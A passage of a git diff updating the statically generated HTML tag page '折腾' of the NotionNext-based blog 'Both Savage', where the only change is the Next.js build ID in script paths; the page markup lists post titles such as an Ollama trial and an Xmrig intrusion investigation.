2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"tag":"微服务"},"__N_SSG":true},"page":"/tag/[tag]","query":{"tag":"微服务"},"buildId":"mm0_cWkCfdum_vxo9wL_b","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
diff --git "a/tag/\346\212\230\350\205\276.html" "b/tag/\346\212\230\350\205\276.html"
index 62c05a99d..29fbdf582 100644
--- "a/tag/\346\212\230\350\205\276.html"
+++ "b/tag/\346\212\230\350\205\276.html"
@@ -1,8 +1,8 @@
-<!DOCTYPE html><html lang="zh-CN"><head><title>折腾 | Tags | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="折腾 | Tags | Both Savage"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//tag/折腾"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="折腾 | Tags | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/tag/%5Btag%5D-27fd94272e69240a.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div class="mt-10"><div class="w-full justify-center"><div id="posts-wrapper"><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div><div class="my-10 flex justify-between font-medium text-black dark:text-gray-100 space-x-2"><a rel="prev" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/%E6%8A%98%E8%85%BE/page/0">←<!-- -->Prev</a><a rel="next" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/%E6%8A%98%E8%85%BE/page/2">Next<!-- -->→</a></div></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
+<!DOCTYPE html><html lang="zh-CN"><head><title>折腾 | Tags | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="折腾 | Tags | Both Savage"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//tag/折腾"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="折腾 | Tags | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/tag/%5Btag%5D-27fd94272e69240a.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a 